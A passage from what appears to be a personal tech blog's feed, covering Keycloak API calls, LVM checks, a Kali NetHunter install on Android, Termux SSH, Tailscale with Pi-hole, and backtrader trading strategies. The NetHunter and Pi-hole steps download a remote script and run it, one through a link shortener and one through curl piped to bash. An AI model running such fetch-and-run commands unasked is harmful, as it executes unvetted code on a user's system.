<pre tabindex="0"><code>curl -X GET &#34;http://localhost:8080/realms/myrealm/protocol/openid-connect/userinfo&#34; \
     -H &#34;Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICJqaTNPRHRHS0tmcW9XNHVtOGptN1p4eVVUU3NxMGFEWFJJSnYtZGRNQXZ3In0.eyJleHAiOjE3MzE1MzQ2MzksImlhdCI6MTczMTUzNDMzOSwianRpIjoiMGQ4NDRjNWQtZGRhYi00YTg1LTljMjItY2FjNTg0NWI4NWU5IiwiaXNzIjoiaHR0cDovL2xvY2FsaG9zdDo4MDgwL3JlYWxtcy90ZV9kaXJlIiwiYXVkIjoiYWNjb3VudCIsInN1YiI6ImUzYzhkZjM2LWY3NmEtNDc4OC05OWM1LWU0N...&#34;
</code></pre><br/>
<p>If you get a response like the one below, it means Keycloak is properly configured for your development environment. You can then place it in front of your API and use it in your app to log in your users.</p>
<pre tabindex="0"><code>{&#34;sub&#34;:&#34;e3c8df36-f76a-4788-99c5-e45553d71893&#34;,&#34;email_verified&#34;:true,&#34;name&#34;:&#34;Olivier Olivier&#34;,&#34;preferred_username&#34;:&#34;olivier.olivier@example.com&#34;,&#34;given_name&#34;:&#34;Olivier&#34;,&#34;family_name&#34;:&#34;Olivier&#34;,&#34;email&#34;:&#34;olivier.olivier@example.com&#34;}%
</code></pre><br/>
<h2 id="create-an-account-in-a-non-admin-realm-via-the-api">Create an account in a non admin realm via the API</h2>
<p><strong>Python code example:</strong></p>
<pre tabindex="0"><code># Get an admin token using the master realm and then execute something like:
url = f&#34;{settings.keycloak_base_url}/admin/realms/{settings.keycloak_realm}/users&#34;
headers = {
    &#34;Authorization&#34;: f&#34;Bearer {admin_token}&#34;,
    &#34;Content-Type&#34;: &#34;application/json&#34;,
}
user_data = {
    &#34;username&#34;: email,
    &#34;email&#34;: email,
    &#34;firstName&#34;: first_name,
    &#34;lastName&#34;: last_name,
    &#34;enabled&#34;: enabled,
    &#34;credentials&#34;: [
        {
            &#34;type&#34;: &#34;password&#34;,
            &#34;value&#34;: &#34;olivierolivier2&#34;,
            &#34;temporary&#34;: False,
        }
    ],
}
response = requests.post(url, headers=headers, data=json.dumps(user_data))
if response.status_code == 201:
  ...
# You get the idea...
</code></pre>]]></content>
        </item>
        
        <item>
            <title>How to verify if I am using LVM ?</title>
            <link>https://leandeep.com/how-to-verify-if-i-am-using-lvm/</link>
            <pubDate>Wed, 05 Jun 2024 20:28:00 +0000</pubDate>
            
            <guid>https://leandeep.com/how-to-verify-if-i-am-using-lvm/</guid>
            <description>&lt;p&gt;Simply use the following command:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;cat /etc/fstab
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And have a look at the line with your root filesystem.&lt;/p&gt;
&lt;p&gt;From there we have 3 possibilities:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If the line starts with UUID=xyz, then it means it is a physical partition.&lt;/li&gt;
&lt;li&gt;If the line starts with /dev/sdaX, it is a physical partition.&lt;/li&gt;
&lt;li&gt;The indicator for LVM would be something with /dev/mapper/xyz.&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;p&gt;You can also check in the mounts and fstab using this command:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Simply use the following command:</p>
<pre tabindex="0"><code>cat /etc/fstab
</code></pre><p>And have a look at the line with your root filesystem.</p>
<p>From there we have 3 possibilities:</p>
<ul>
<li>If the line starts with UUID=xyz, then it means it is a physical partition.</li>
<li>If the line starts with /dev/sdaX, it is a physical partition.</li>
<li>The indicator for LVM would be something with /dev/mapper/xyz.</li>
</ul>
<br/>
<p>You can also check in the mounts and fstab using this command:</p>
<pre tabindex="0"><code>if  grep -Pq &#39;/dev/(mapper/|disk/by-id/dm)&#39; /etc/fstab  ||  mount | grep -q /dev/mapper/
then
    echo &#34;LVM in use&#34;
fi
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Install Kali Nethunter on Android 14 [Rootless procedure]</title>
            <link>https://leandeep.com/install-kali-nethunter-on-android-14-rootless-procedure/</link>
            <pubDate>Sun, 24 Mar 2024 06:34:00 +0000</pubDate>
            
            <guid>https://leandeep.com/install-kali-nethunter-on-android-14-rootless-procedure/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;(Between 2 baby&amp;rsquo;s bottles) I am going to explain how to install Kali Nethunter on an Android phone not rooted. The procedure is quite simple. Without further ado let&amp;rsquo;s see how to do it.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;prerequisites&#34;&gt;Prerequisites&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Android 13+&lt;/li&gt;
&lt;li&gt;Termux installed&lt;/li&gt;
&lt;li&gt;Android developer mode enabled&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation&#34;&gt;Installation&lt;/h2&gt;
&lt;p&gt;On termux execute the following commands:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;pkg update -y
termux-setup-storage
pkg install wget
wget -O install-nethunter-termux https://offsec.ec/2MceZWr
chmod +x install-nethunter-termux
./install-nethunter-termux
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Then on the installation page KALI select option 1 to have a full installation.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>(Between 2 baby&rsquo;s bottles) I am going to explain how to install Kali Nethunter on an Android phone not rooted. The procedure is quite simple. Without further ado let&rsquo;s see how to do it.</p>
<br/>
<h2 id="prerequisites">Prerequisites</h2>
<ul>
<li>Android 13+</li>
<li>Termux installed</li>
<li>Android developer mode enabled</li>
</ul>
<br/>
<h2 id="installation">Installation</h2>
<p>On termux execute the following commands:</p>
<pre tabindex="0"><code>pkg update -y
termux-setup-storage
pkg install wget
wget -O install-nethunter-termux https://offsec.ec/2MceZWr
chmod +x install-nethunter-termux
./install-nethunter-termux
</code></pre><p>Then on the installation page KALI select option 1 to have a full installation.</p>
<p>Then for the question &ldquo;Delete downloaded rootfs file&rdquo; -&gt; Select &ldquo;no&rdquo;.</p>
<br/>
<h2 id="kix-dbus-error">Kix dbus error</h2>
<p>Fix the DNS server by editing the /etc/resolv.conf file. Change the local IP (or 9.9.9.9) by Google&rsquo;s DNS IP or use another DNS service provider. So set <code>nameserver 8.8.8.8</code>
Then run <code>apt update</code>
And install the package <code>apt install dbus-x11</code></p>
<p>Finally open the settings of your Android phone and go to developer options. Enable <code>Disable child process restrictions</code>.</p>
<br/>
<h2 id="kali-nethunter-desktop-experience-kex-installation">Kali NetHunter Desktop Experience (KeX) installation</h2>
<p>Go back to Termux. Exit your current session if you already ran <code>nh -r</code> and run the command <code>nh kex</code>.</p>
<p>Now download Kali nethunter app store. To do so go to <a href="https://store.nethunter.com/en">https://store.nethunter.com/en</a> and click the download button. Install the APK using the package manager and open the store F-Droid. From there search <code>nethunter kex</code> using the magnifier and install Nethunter keX bVNC.</p>
<br/>
<h2 id="load-kex-from-android">Load KeX from Android</h2>
<p>Open Nethunter Kex using the newly created icon and create a new connection.
Let localhost as host and 5900 as port and set your password.
On the small screen of my Pixel Kali&rsquo;s GUI is not very usable but apparently it is possible to output the screen to an external cable using a OTG cable or a USB cable directly.</p>
<blockquote>
<p>To stop kex you will need to open a new session in Termux and execute the command <code>nh kex stop</code>.</p></blockquote>
]]></content>
        </item>
        
        <item>
            <title>Remote access to termux from OSX</title>
            <link>https://leandeep.com/remote-access-to-termux-from-osx/</link>
            <pubDate>Fri, 01 Mar 2024 00:13:00 +0000</pubDate>
            
            <guid>https://leandeep.com/remote-access-to-termux-from-osx/</guid>
            <description>&lt;p&gt;Open Termux on Android and then execute the following commands:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;pkg upgrade
pkg install openssh
passwd
whoami
sshd -e -d -d -d
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;On OSX:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# ssh username@&amp;lt;android_ip&amp;gt; -p8022
# ssh u0_412@&amp;lt;........&amp;gt; -p8022
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To kill the server:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;pkill sshd
&lt;/code&gt;&lt;/pre&gt;&lt;blockquote&gt;
&lt;p&gt;sshd: no hostkeys available &amp;ndash; exiting
&lt;code&gt;ssh-keygen -A&lt;/code&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Bonus&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;pkg install termux-api
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>Open Termux on Android and then execute the following commands:</p>
<pre tabindex="0"><code>pkg upgrade
pkg install openssh
passwd
whoami
sshd -e -d -d -d
</code></pre><p>On OSX:</p>
<pre tabindex="0"><code># ssh username@&lt;android_ip&gt; -p8022
# ssh u0_412@&lt;........&gt; -p8022
</code></pre><p>To kill the server:</p>
<pre tabindex="0"><code>pkill sshd
</code></pre><blockquote>
<p>sshd: no hostkeys available &ndash; exiting
<code>ssh-keygen -A</code></p></blockquote>
<p>Bonus</p>
<pre tabindex="0"><code>pkg install termux-api
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Install tailscale and Pi Hole on Debian 11 Bullseye</title>
            <link>https://leandeep.com/install-tailscale-and-pi-hole-on-debian-11-bullseye/</link>
            <pubDate>Sat, 24 Feb 2024 18:10:00 +0000</pubDate>
            
            <guid>https://leandeep.com/install-tailscale-and-pi-hole-on-debian-11-bullseye/</guid>
            <description>&lt;p&gt;In this short article we are going to see the commands to install Tailscale (and PiHole) on a Raspberry Pi version 2 and Debian 11 Bullseye (or Raspios equivalent of Debian 11).&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Pré-requis&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A Raspberry Pi 2 connected to internet&lt;/li&gt;
&lt;li&gt;A fresh Debian 11 installation&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;OS preparation&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt update
sudo apt upgrade -y
# Grab a large coffee. It takes forever...
sudo reboot
sudo apt install curl -y
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Pi Hole installation&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>In this short article we are going to see the commands to install Tailscale (and PiHole) on a Raspberry Pi version 2 and Debian 11 Bullseye (or Raspios equivalent of Debian 11).</p>
<br/>
<p><strong>Pré-requis</strong></p>
<ul>
<li>A Raspberry Pi 2 connected to internet</li>
<li>A fresh Debian 11 installation</li>
</ul>
<br/>
<p><strong>OS preparation</strong></p>
<pre tabindex="0"><code>sudo apt update
sudo apt upgrade -y
# Grab a large coffee. It takes forever...
sudo reboot
sudo apt install curl -y
</code></pre><br/>
<p><strong>Pi Hole installation</strong></p>
<pre tabindex="0"><code>curl -sSL https://install.pi-hole.net | bash

        .;;,.
        .ccccc:,.
         :cccclll:.      ..,,
          :ccccclll.   ;ooodc
           &#39;ccll:;ll .oooodc
             .;cll.;;looo:.
                 .. &#39;,&#39;.
                .&#39;,,,,,,&#39;.
              .&#39;,,,,,,,,,,.
            .&#39;,,,,,,,,,,,,....
          ....&#39;&#39;&#39;,,,,,,,&#39;.......
        .........  ....  .........
        ..........      ..........
        ..........      ..........
        .........  ....  .........
          ........,,,,,,,&#39;......
            ....&#39;,,,,,,,,,,,,.
               .&#39;,,,,,,,,,&#39;.
                .&#39;,,,,,,&#39;.
                  ..&#39;&#39;&#39;.
</code></pre><p>Write the admin password somewhere and checks everything is alright: http://your_pi_network_ip/admin</p>
<p>You should see something like this:</p>
<p><img src="/images/pihole.png" alt="image"></p>
<br/>
<p><strong>Tailscale installation</strong></p>
<pre tabindex="0"><code>curl -fsSL https://pkgs.tailscale.com/stable/debian/bullseye.noarmor.gpg | sudo tee /usr/share/keyrings/tailscale-archive-keyring.gpg &gt;/dev/null
curl -fsSL https://pkgs.tailscale.com/stable/debian/bullseye.tailscale-keyring.list | sudo tee /etc/apt/sources.list.d/tailscale.list
sudo apt-get update
sudo apt-get install tailscale
</code></pre><br/>
<blockquote>
<p>Edit the file <code>/etc/sysctl.d/99-tailscale.conf</code> and add the following lines:</p>
<pre tabindex="0"><code>net.ipv4.ip_forward = 1
net.ipv6.conf.all.forwarding = 1
</code></pre></blockquote>
<p><strong>Start Tailscale</strong></p>
<pre tabindex="0"><code>sudo tailscale up --accept-dns=false --advertise-exit-node --advertise-routes=192.168.68.0/24
# Get IP
tailscale ip -4
Reboot to make sure everything is fine
</code></pre><br/>
<p><strong>Test</strong></p>
<p>Grab your phone and use a 4G/5G network for this test.
Connect to tailscale from your phone. Once connected (and your connection is approved in Tailscale admin panel) browser internet. It should not work. Now we are going to configure PiHole and let all interfaces connect to internet.</p>
<br/>
<p><strong>Configure PiHole</strong></p>
<p>In the Pi-hole Admin page go to <code>Settings &gt; DNS</code> and make sure that <code>Listen on all interfaces</code> or <code>permit all origins</code> is selected.</p>
<br/>
<p><strong>Last Test</strong></p>
<p>Now that PiHole is configure make sure you are still connected to your Tailscale network. Browse any web page. You should be able to retrieve the internet content and it should have be delivered after PiHole has resolved the DNS. Go back to PiHole admin panel and you should see that the amount of total queries inscreased. You are all set.</p>
]]></content>
        </item>
        
        <item>
            <title>Backtester ses stratégies de trading avec Backtrader</title>
            <link>https://leandeep.com/backtester-ses-strat%C3%A9gies-de-trading-avec-backtrader/</link>
            <pubDate>Fri, 02 Feb 2024 18:10:00 +0000</pubDate>
            
            <guid>https://leandeep.com/backtester-ses-strat%C3%A9gies-de-trading-avec-backtrader/</guid>
            <description>&lt;p&gt;Voici un exemple de code Python permettant de backtester une stratégie (ici j&amp;rsquo;en ai créé une complètement inutile mais cela permet d&amp;rsquo;illustrer mon propose).&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;
&lt;strong&gt;Pré-requis&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;pip install Pyarrow==15.0.0 pandas==2.2.0 backtrader==1.9.78.123 matplotlib==3.8.2
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;import math
import pandas as pd
import backtrader as bt
import ccxt

# Charger les données historiques depuis Binance
exchange = ccxt.binance(
    {
        &amp;#34;apiKey&amp;#34;: &amp;#34;&amp;#34;,
        &amp;#34;secret&amp;#34;: &amp;#34;&amp;#34;,
    }
)

symbol = &amp;#34;ETH/USDT&amp;#34;
timeframe = &amp;#34;1h&amp;#34;

ohlcv = exchange.fetch_ohlcv(symbol, timeframe)
df = pd.DataFrame(
    ohlcv, columns=[&amp;#34;timestamp&amp;#34;, &amp;#34;open&amp;#34;, &amp;#34;high&amp;#34;, &amp;#34;low&amp;#34;, &amp;#34;close&amp;#34;, &amp;#34;volume&amp;#34;]
)
df[&amp;#34;timestamp&amp;#34;] = pd.to_datetime(df[&amp;#34;timestamp&amp;#34;], unit=&amp;#34;ms&amp;#34;)
df.set_index(&amp;#34;timestamp&amp;#34;, inplace=True)


# Définir la stratégie
class MovingAverageCrossStrategy(bt.Strategy):
    params = (
        (&amp;#34;short_period&amp;#34;, 20),
        (&amp;#34;long_period&amp;#34;, 50),
    )

    def __init__(self):
        self.short_ma = bt.indicators.SimpleMovingAverage(
            self.data.close, period=self.params.short_period
        )
        self.long_ma = bt.indicators.SimpleMovingAverage(
            self.data.close, period=self.params.long_period
        )
        self.crossover = bt.indicators.CrossOver(self.short_ma, self.long_ma)

    def next(self):
        if self.crossover &amp;gt; 0:
            # Signal d&amp;#39;achat
            self.buy()
        elif self.crossover &amp;lt; 0:
            # Signal de vente
            self.sell()


# Convertir les données pandas en format compréhensible par backtrader
data = bt.feeds.PandasData(dataname=df)

# Configurer le cerveau du backtest
cerebro = bt.Cerebro()
cerebro.adddata(data)
cerebro.addstrategy(MovingAverageCrossStrategy)

# Ajouter un observer pour afficher les gains/pertes
cerebro.addobserver(bt.observers.Value)

# Paramètres du backtest
start_date = pd.to_datetime(&amp;#34;2022-01-01&amp;#34;)
end_date = pd.to_datetime(&amp;#34;2022-12-31&amp;#34;)
cerebro.run(stdstats=False, tradehistory=True, fromdate=start_date, todate=end_date)

# Afficher les gains/pertes
final_portfolio_value = cerebro.broker.getvalue()
print(f&amp;#34;Capital final: {final_portfolio_value} USDT&amp;#34;)
cerebro.plot()
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img src=&#34;https://leandeep.com/images/backtrader.png&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Voici un exemple de code Python permettant de backtester une stratégie (ici j&rsquo;en ai créé une complètement inutile mais cela permet d&rsquo;illustrer mon propose).</p>
<p><br/>
<strong>Pré-requis</strong></p>
<pre tabindex="0"><code>pip install Pyarrow==15.0.0 pandas==2.2.0 backtrader==1.9.78.123 matplotlib==3.8.2
</code></pre><br/>
<pre tabindex="0"><code>import math
import pandas as pd
import backtrader as bt
import ccxt

# Charger les données historiques depuis Binance
exchange = ccxt.binance(
    {
        &#34;apiKey&#34;: &#34;&#34;,
        &#34;secret&#34;: &#34;&#34;,
    }
)

symbol = &#34;ETH/USDT&#34;
timeframe = &#34;1h&#34;

ohlcv = exchange.fetch_ohlcv(symbol, timeframe)
df = pd.DataFrame(
    ohlcv, columns=[&#34;timestamp&#34;, &#34;open&#34;, &#34;high&#34;, &#34;low&#34;, &#34;close&#34;, &#34;volume&#34;]
)
df[&#34;timestamp&#34;] = pd.to_datetime(df[&#34;timestamp&#34;], unit=&#34;ms&#34;)
df.set_index(&#34;timestamp&#34;, inplace=True)


# Définir la stratégie
class MovingAverageCrossStrategy(bt.Strategy):
    params = (
        (&#34;short_period&#34;, 20),
        (&#34;long_period&#34;, 50),
    )

    def __init__(self):
        self.short_ma = bt.indicators.SimpleMovingAverage(
            self.data.close, period=self.params.short_period
        )
        self.long_ma = bt.indicators.SimpleMovingAverage(
            self.data.close, period=self.params.long_period
        )
        self.crossover = bt.indicators.CrossOver(self.short_ma, self.long_ma)

    def next(self):
        if self.crossover &gt; 0:
            # Signal d&#39;achat
            self.buy()
        elif self.crossover &lt; 0:
            # Signal de vente
            self.sell()


# Convertir les données pandas en format compréhensible par backtrader
data = bt.feeds.PandasData(dataname=df)

# Configurer le cerveau du backtest
cerebro = bt.Cerebro()
cerebro.adddata(data)
cerebro.addstrategy(MovingAverageCrossStrategy)

# Ajouter un observer pour afficher les gains/pertes
cerebro.addobserver(bt.observers.Value)

# Paramètres du backtest
start_date = pd.to_datetime(&#34;2022-01-01&#34;)
end_date = pd.to_datetime(&#34;2022-12-31&#34;)
cerebro.run(stdstats=False, tradehistory=True, fromdate=start_date, todate=end_date)

# Afficher les gains/pertes
final_portfolio_value = cerebro.broker.getvalue()
print(f&#34;Capital final: {final_portfolio_value} USDT&#34;)
cerebro.plot()
</code></pre><p><img src="/images/backtrader.png" alt="image"></p>
<br/>
<p><strong>Stratégie Mean Reversion:</strong></p>
<pre tabindex="0"><code># Définir la stratégie
class MeanReversionStrategy(bt.Strategy):
    params = (
        (&#39;rsi_period&#39;, 14),
        (&#39;rsi_overbought&#39;, 70),
        (&#39;rsi_oversold&#39;, 30),
        (&#39;bbands_period&#39;, 20),
        (&#39;bbands_dev&#39;, 2),
    )

    def __init__(self):
        self.rsi = bt.indicators.RelativeStrengthIndex(period=self.params.rsi_period)
        self.bbands = bt.indicators.BollingerBands(period=self.params.bbands_period, devfactor=self.params.bbands_dev)

    def next(self):
        if self.rsi &lt; self.params.rsi_oversold and self.data.close &lt; self.bbands.lines.bot:
            # Conditions d&#39;achat
            self.buy()

        elif self.rsi &gt; self.params.rsi_overbought and self.data.close &gt; self.bbands.lines.top:
            # Conditions de vente
            self.sell()
</code></pre><p>Dans cette stratégie, des signaux d&rsquo;achat sont générés lorsque le RSI est en zone de survente et que le prix est en dessous de la bande inférieure de Bollinger. Des signaux de vente sont générés lorsque le RSI est en zone de surachat et que le prix est au-dessus de la bande supérieure de Bollinger.</p>
<p><img src="/images/backtrader2.png" alt="image"></p>
<br/>
<p><strong>Stratégie Ichimoku:</strong></p>
<pre tabindex="0"><code>class Ichimoku(bt.Strategy):

    def __init__(self):

        self.ichimoku = bt.indicators.Ichimoku()
   
    def next(self):

         if not self.position and self.ichimoku.lines.senkou_span_a &gt; self.ichimoku.lines.senkou_span_b: 
            amount_to_invest = (0.95 * self.broker.cash)
            self.size = math.floor(amount_to_invest / self.data.close)

            print(&#34;Buy {} shares at {}&#34;.format(self.size, self.data.close[0]))
            self.buy(size=self.size)

         if self.position and self.ichimoku.lines.senkou_span_a &lt; self.ichimoku.lines.senkou_span_b:
            print(&#34;Sell {} shares at {}&#34;.format(self.size, self.data.close[0]))
            self.close()
</code></pre><p>Aucun paramètre spécifique n&rsquo;est fourni à l&rsquo;indicateur, ce qui signifie que les valeurs par défaut des périodes Ichimoku sont utilisées (9, 26, 52).</p>
<p>La fonction next est appelée à chaque barre de prix. La stratégie vérifie d&rsquo;abord si elle n&rsquo;a pas de position (not self.position) et si la ligne Senkou Span A est au-dessus de la ligne Senkou Span B. Si ces conditions sont remplies, cela signifie que la tendance est à la hausse, et un signal d&rsquo;achat est généré.
En cas de signal d&rsquo;achat, la stratégie calcule la quantité d&rsquo;actions à acheter en fonction de 95% du capital disponible (0.95 * self.broker.cash) et achète ces actions en utilisant la fonction self.buy.
Ensuite, la stratégie vérifie si elle a déjà une position (self.position) et si la ligne Senkou Span A est en dessous de la ligne Senkou Span B. Si ces conditions sont remplies, cela signifie que la tendance est à la baisse, et un signal de vente est généré.
En cas de signal de vente, la stratégie ferme la position en utilisant la fonction self.close.</p>
<p><img src="/images/backtrader3.png" alt="image"></p>
<br/>
<p><strong>Stratégie Aroon:</strong></p>
<p>La stratégie Aroon est basée sur l&rsquo;utilisation des indicateurs Aroon, qui sont conçus pour mesurer la force de la tendance et identifier les périodes de consolidation ou de retournement de tendance sur un marché financier. Les indicateurs Aroon se composent de deux lignes principales : Aroon Up et Aroon Down.</p>
<p>Aroon Up (Aroon Haut) : Mesure le nombre de périodes écoulées depuis le plus haut récent.</p>
<p>Aroon Down (Aroon Bas) : Mesure le nombre de périodes écoulées depuis le plus bas récent.</p>
<p>La stratégie Aroon utilise ces deux indicateurs pour générer des signaux de trading. Voici comment interpréter les signaux Aroon dans une stratégie de base :</p>
<p>Signal d&rsquo;Achat (Aroon Up fort) : Lorsque l&rsquo;Aroon Up est élevé, cela indique que la tendance à la hausse est forte. Un signal d&rsquo;achat est généré lorsque l&rsquo;Aroon Up traverse à la hausse l&rsquo;Aroon Down.</p>
<p>Signal de Vente (Aroon Down fort) : Lorsque l&rsquo;Aroon Down est élevé, cela indique que la tendance à la baisse est forte. Un signal de vente est généré lorsque l&rsquo;Aroon Down traverse à la hausse l&rsquo;Aroon Up.</p>
<p>Période de Consolidation (Aroon Up et Aroon Down faibles) : Si les deux Aroon Up et Aroon Down sont faibles, cela indique une période de consolidation où le marché ne montre pas de tendance claire. Certains traders choisissent d&rsquo;éviter de prendre des positions pendant ces périodes.</p>
<pre tabindex="0"><code>class AroonStrategy(bt.Strategy):

    params = ((&#34;upperband&#34;, 99), (&#34;lowerband&#34;, -99), (&#34;order_percentage&#34;, 0.95))

    def __init__(self):
        self.Aroon = bt.indicators.AroonOscillator(self.data, period=14)

    def next(self):
        if not self.position and self.Aroon &lt; self.params.lowerband:
            amount_to_invest = self.params.order_percentage * self.broker.cash
            self.size = math.floor(amount_to_invest / self.data.close)

            print(&#34;Buy {} shares  at {}&#34;.format(self.size, self.data.close[0]))
            self.buy(size=self.size)

        if self.position and self.Aroon &gt; self.params.upperband:
            print(&#34;Sell {} shares  at {}&#34;.format(self.size, self.data.close[0]))
            self.close()
</code></pre><p><img src="/images/backtrader4.png" alt="image"></p>
<br/>
<p><strong>Stratégie Buy and Hold:</strong></p>
<pre tabindex="0"><code>class BuyHoldStrategy(bt.Strategy):

    def next(self):
        if self.position.size == 0:
            amount_to_invest = 0.95 * self.broker.getcash()
            size = math.floor(amount_to_invest / self.data)
            print(&#34;Buy {} shares at {}&#34;.format(size, self.data.close[0]))
            self.buy(size=size)
</code></pre><br/>
<p><strong>Stratégie Golden cross:</strong></p>
<p>La stratégie Golden Cross est une approche de trading basée sur l&rsquo;identification d&rsquo;un signal lorsque deux moyennes mobiles se croisent à la hausse. C&rsquo;est une stratégie populaire dans l&rsquo;analyse technique et est souvent utilisée pour repérer des changements potentiels dans la tendance d&rsquo;un actif financier.</p>
<p>Voici comment fonctionne la stratégie Golden Cross:</p>
<ol>
<li>Moyenne Mobile à Court Terme (Short-Term Moving Average):</li>
</ol>
<p>Une moyenne mobile à court terme est calculée en prenant la moyenne des prix de clôture sur une période relativement courte.
Cette moyenne mobile réagit plus rapidement aux fluctuations des prix.</p>
<br/>
<ol start="2">
<li>Moyenne Mobile à Long Terme (Long-Term Moving Average):</li>
</ol>
<p>Une moyenne mobile à long terme est calculée de manière similaire, mais sur une période plus longue.
Cette moyenne mobile réagit plus lentement aux changements de prix.</p>
<br/>
<ol start="3">
<li>Signal d&rsquo;Achat - Golden Cross:</li>
</ol>
<p>Un signal d&rsquo;achat est généré lorsque la moyenne mobile à court terme (plus rapide) croise à la hausse la moyenne mobile à long terme (plus lente). Ce point de croisement est souvent appelé un &ldquo;Golden Cross&rdquo; (croix dorée).
Le Golden Cross indique un potentiel changement dans la dynamique du marché, suggérant que la tendance pourrait passer d&rsquo;une tendance baissière à une tendance haussière.</p>
<br/>
<ol start="4">
<li>Signal de Vente - Death Cross:</li>
</ol>
<p>À l&rsquo;inverse, un signal de vente, souvent appelé &ldquo;Death Cross&rdquo; (croix de la mort), se produit lorsque la moyenne mobile à court terme croise à la baisse la moyenne mobile à long terme. Cela peut indiquer un potentiel changement de tendance à la baisse.
La stratégie Golden Cross est souvent utilisée comme indicateur de confirmation de tendance. Cependant, il est important de noter que les signaux générés par cette stratégie peuvent parfois être retardés, et il existe des périodes où ils peuvent être trompeurs, surtout dans des marchés instables.</p>
<pre tabindex="0"><code>class GoldenCrossStrategy(bt.Strategy):
    params = ((&#39;sma_50&#39;, 50), (&#39;sma_200&#39;, 200), (&#39;order_percentage&#39;, 0.95))

    def __init__(self):
        # Create 50 SMA
        self.sma_moving_average_50 = bt.indicators.SMA(
            self.data.close, period=self.params.sma_50, plotname=&#39;50 day moving average&#39;
        )

        # Create 200 SMA
        self.sma_moving_average_200 = bt.indicators.SMA(
            self.data.close, period=self.params.sma_200, plotname=&#39;200 day moving average&#39;
        )

        # Create crossover using the SMA&#39;s
        self.crossover = bt.indicators.CrossOver(self.sma_moving_average_50, self.sma_moving_average_200)

    def next(self):

        # Open trade
        if self.position.size == 0:
            if self.crossover &gt; 0:
                amount_to_invest = (self.params.order_percentage * self.broker.cash)
                self.size = math.floor(amount_to_invest / self.data.close)

                print(&#34;Buy {} shares at {}&#34;.format(self.size, self.data.close[0]))
                self.buy(size=self.size)
        
        # Close trade
        if self.position.size &gt; 0:
            if self.crossover &lt; 0:      
                print(&#34;Sell {} shares at {}&#34;.format(self.size, self.data.close[0]))
                self.close()
</code></pre><p><img src="/images/backtrader5.png" alt="image"></p>
<br/>
<p><strong>EMA Stratégie:</strong></p>
<pre tabindex="0"><code>class EMAStrategy(bt.Strategy):
    params = (
        (&#34;short_period&#34;, 20),
        (&#34;long_period&#34;, 50),
    )

    def __init__(self):
        self.short_ema = bt.indicators.ExponentialMovingAverage(
            self.data.close, period=self.params.short_period
        )
        self.long_ema = bt.indicators.ExponentialMovingAverage(
            self.data.close, period=self.params.long_period
        )

    def next(self):
        if self.short_ema &gt; self.long_ema:
            # Condition d&#39;achat pour la stratégie EMA
            self.buy()

        elif self.short_ema &lt; self.long_ema:
            # Condition de vente pour la stratégie EMA
            self.sell()
</code></pre><p><img src="/images/backtrader6.png" alt="image"></p>
<br/>
<p><strong>SMA Stratégie:</strong></p>
<pre tabindex="0"><code>class SMAStrategy(bt.Strategy):

    def __init__(self):
        self.sma = bt.indicators.SMA()

    def next(self):
        if not self.position and self.data &gt; self.sma.lines.sma: 
           amount_to_invest = (0.95 * self.broker.cash)
           self.size = math.floor(amount_to_invest / self.data.close)

           print(&#34;Buy {} shares at {}&#34;.format(self.size, self.data.close[0]))
           self.buy(size=self.size)

        if self.position and self.data &lt; self.sma.lines.sma:
                print(&#34;Sell {} shares at {}&#34;.format(self.size, self.data.close[0]))
                self.close()
</code></pre><p><img src="/images/backtrader7.png" alt="image"></p>
<br/>
<p><strong>Stratégie RMI:</strong></p>
<pre tabindex="0"><code>class RMI(bt.Strategy):
    
    params = ((&#39;upperband&#39;, 70.0), (&#39;lowerband&#39;, 30.0), (&#39;order_percentage&#39;, 0.95))

    def __init__(self):
        self.rmi = bt.indicators.RMI(self.data, period=20)

    def next(self):
        if not self.position and self.rmi &lt; self.params.lowerband: 
           amount_to_invest = (self.params.order_percentage * self.broker.cash)
           self.size = math.floor(amount_to_invest / self.data.close)

           print(&#34;Buy {} shares at {}&#34;.format(self.size, self.data.close[0]))
           self.buy(size=self.size)

        if self.position and self.rmi &gt; self.params.upperband:
